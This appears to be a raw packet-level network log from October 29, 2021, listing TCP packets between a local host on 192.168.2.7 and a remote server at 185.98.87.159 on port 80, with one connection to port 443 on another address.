Oct 29, 2021 20:29:52.214220047 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.214224100 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.214242935 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.214256048 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.214265108 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.214287043 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.214308023 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.214315891 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.214332104 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.214353085 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.214723110 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.214752913 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.214772940 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.214780092 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.214792013 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.214813948 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.214824915 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.214827061 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.214849949 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.214871883 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.214894056 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.214895010 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.214915991 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.214940071 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.214948893 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.214965105 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.214982986 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.214992046 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.215015888 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.215038061 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.215042114 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.215065956 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.215087891 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.215090036 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.215112925 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.215131044 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.215137959 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.215162992 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.215187073 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.215212107 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.215213060 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.215236902 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.215246916 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.215262890 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.215279102 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.215282917 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.215302944 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.215321064 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.215327978 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.215353012 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.215373039 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.215377092 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.215401888 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.215420961 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.215426922 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.215451002 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.215476036 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.215483904 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.215507984 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.215523005 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.215532064 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.215555906 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.215584040 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.217922926 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.217955112 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.217979908 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.217993021 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.218014956 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.218031883 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.218041897 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.218065977 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.218127966 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.218152046 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.218153000 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.218159914 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.218178034 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.218203068 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.218226910 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.218238115 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.218252897 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.218274117 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.218277931 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.218302011 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.218326092 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.218347073 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.218352079 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.218377113 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.218389034 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.218403101 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.218424082 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.218425989 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.218450069 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.218461990 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.218473911 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.218499899 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.218516111 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.218524933 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.218548059 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.218573093 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.218596935 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.218597889 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.218610048 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.218621016 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.218661070 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.218756914 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.218780041 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.218801975 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.218822002 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.218842030 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.218862057 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.218864918 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.218868017 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.218884945 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.218905926 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.218914032 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.218943119 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.218955994 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.218964100 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.218986034 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.219007969 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.219012976 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.219028950 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.219048977 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.219073057 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.219094992 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.219113111 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.219115019 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.219144106 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.219170094 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.219170094 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.219196081 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.219206095 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.219222069 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.219245911 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.219285965 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.219336033 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.219362974 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.219388962 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.219392061 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.219413996 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.219436884 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.219449043 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.219475031 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.219500065 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.219504118 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.219531059 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.219571114 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.219573021 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.219578028 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.219608068 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.219635010 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.219646931 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.219662905 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.219680071 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.219691992 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.219717979 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.219733000 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.219738960 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.219763994 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.219789028 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.219796896 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.219813108 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.219835043 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.219837904 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.219851971 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.219863892 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.219897985 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.219912052 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.219912052 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.219932079 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.219960928 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.219986916 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.219989061 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.220014095 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.220016003 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.220046043 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.220067978 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.220078945 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.220093966 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.220114946 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.226535082 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.230233908 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:52.265285969 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.265321970 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.265347004 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.265353918 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.265367031 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.265387058 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.265408993 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.265418053 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.265429974 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.265454054 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.265458107 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.265475988 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.265484095 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.265518904 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.265557051 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.265583038 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.265614033 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.265626907 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.265655041 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.265716076 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.265810013 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.265834093 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.265871048 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.265878916 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.265894890 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.265918016 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.265933990 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.265996933 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.266019106 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.266038895 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.266041994 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.266062975 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.266086102 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.266093969 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.266105890 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.266125917 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.266146898 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.266155958 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.266170979 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.266235113 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.266239882 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.267124891 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.267149925 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.267177105 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.267206907 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.267241001 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.267262936 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.267286062 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.267307997 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.267307997 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.267330885 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.267340899 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.267354965 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.267376900 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.267419100 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.267443895 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.267466068 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.267474890 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.267493010 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.267520905 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.267522097 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.267539978 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.267559052 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.267576933 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.267595053 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.267611980 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.267628908 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.267647982 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.267679930 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.267688036 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.267715931 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.267738104 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.267748117 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.267762899 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.267788887 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.267812014 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.267834902 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.267842054 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.267857075 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.267874956 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.267899990 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.267960072 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.267985106 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.268007040 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.268018007 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.268028975 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.268043995 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.268052101 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.268073082 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.268099070 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.268136978 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.268814087 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.269689083 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.269722939 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.269747019 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.269876957 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.269922018 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.270256996 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.270284891 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.270308971 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.270333052 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.270343065 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.270356894 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.270381927 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.270385981 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.270406961 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.270421028 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.270431995 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.270456076 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.270457029 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.270479918 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.270505905 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.270514011 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.270528078 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.270553112 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.270555973 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.270575047 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.270601988 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.270603895 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.270663977 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.271779060 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.271866083 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.271889925 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.271914005 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.271933079 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.271961927 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.271991014 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.271992922 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.272011995 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.272037029 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.272061110 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.272075891 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.272085905 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.272109985 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.272113085 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.272133112 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.272156954 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.272161007 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.272178888 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.272186995 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.272202969 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.272227049 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.272249937 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.272250891 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.272272110 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.272284031 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.272298098 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.272319078 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.272322893 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.272346020 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.272371054 CEST	80	49777	185.98.87.159	192.168.2.7
